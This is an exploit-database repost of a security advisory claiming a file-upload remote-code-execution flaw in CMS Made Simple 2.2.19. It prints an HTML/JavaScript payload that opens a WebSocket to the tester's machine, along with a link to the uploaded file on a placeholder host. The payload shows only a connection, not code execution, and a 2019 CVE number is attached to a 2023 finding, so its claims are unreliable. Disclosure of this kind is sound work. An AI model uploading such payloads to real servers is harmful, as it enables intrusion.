Advertisement






cmsms-2.2.19 - File Upload - RCE

CVE Category Price Severity
CVE-2019-11126 CWE-434 $500 High
Author Risk Exploitation Type Date
Unknown Critical Remote 2024-01-01
CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024010002

Below is a copy:

cmsms-2.2.19 - File Upload - RCE
## Title: cmsms-2.2.19 - File Upload - RCE
## Author: nu11secur1ty
## Date: 12/29/2023
## Vendor: https://www.cmsmadesimple.org/
## Software: https://www.cmsmadesimple.org/downloads-header/cmsms/
## Reference: https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

## Description:
The parameter "fileupload" in type ID is vulnerable to File Upload and RCE attacks, it is not sanitized correctly. The attacker can upload a virus directly on the server by using this web vulnerability, and then he can execute it, this can be the end of this server depending on the scenario! In this case, I just uploaded a [WebSocket] connector - exploit.html to connect the server with my machine, this is so nasty. I am a Penetration Tester, not a stupid cracker! Thank you all!

STATUS: HIGH- Vulnerability

[+]Exploit execution:

```curl
 https://pwnedhost.com/uploads/exploit.html
```
[+]Exploit:
```HTML
<html>
<script>
(() => {
  const ws = new WebSocket('ws://0.0.0.0:8080')
  ws.onopen = () => {
    console.log('ws opened on browser')
    ws.send('hello, you are connected with malicious software.')
  }

  ws.onmessage = (message) => {
    console.log(`message received ${message}`)
  }

})()
 </script>
</html>
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/cmsmadesimple.org/2023/CMSMS%E2%84%A2-2.2.19)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/12/cmsms-2219-file-upload-rce.html)

## Time spent:
00:35:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.